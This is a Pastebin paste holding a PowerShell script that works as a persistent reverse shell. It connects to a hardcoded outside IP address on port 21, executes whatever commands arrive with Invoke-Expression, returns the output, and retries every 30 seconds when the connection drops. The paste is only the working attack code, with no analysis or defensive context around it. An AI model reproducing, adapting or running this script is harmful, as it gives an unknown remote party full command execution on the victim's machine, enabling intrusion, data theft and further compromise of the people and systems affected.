Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. while (1 -eq 1)
  2. {
  3. $ErrorActionPreference = 'Continue';
  4. try
  5. {
  6. #attempt inital connection
  7. $client = New-Object System.Net.Sockets.TCPClient("200.74.240.58",21);
  8. $stream = $client.GetStream();
  9. [byte[]]$bytes = 0..255|%{0};
  10. $sendbytes = ([text.encoding]::ASCII).GetBytes("Client Connected..."+"`n`n" + "PS " + (pwd).Path + "> ");
  11. $stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush();
  12. while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
  13. {
  14. $recdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  15. if($recdata.StartsWith("kill-link")){ cls; $client.Close(); exit;}
  16. try
  17. {
  18. #attempt to execute the received command
  19. $sendback = (iex $recdata 2>&1 | Out-String );
  20. $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  21. }
  22. catch
  23. {
  24. $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
  25. $sendback2 = "ERROR: " + $error[0].ToString() + "`n`n" + "PS " + (pwd).Path + "> ";
  26. cls;
  27. }
  28. $returnbytes = ([text.encoding]::ASCII).GetBytes($sendback2);
  29. $stream.Write($returnbytes,0,$returnbytes.Length);$stream.Flush();
  30. }
  31. }
  32. catch
  33. {
  34. #an initial connection error - close and wait 30 secs then retry
  35. if($client.Connected)
  36. {
  37. $client.Close();
  38. }
  39. cls;
  40. Start-Sleep -s 30;
  41. }
  42. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement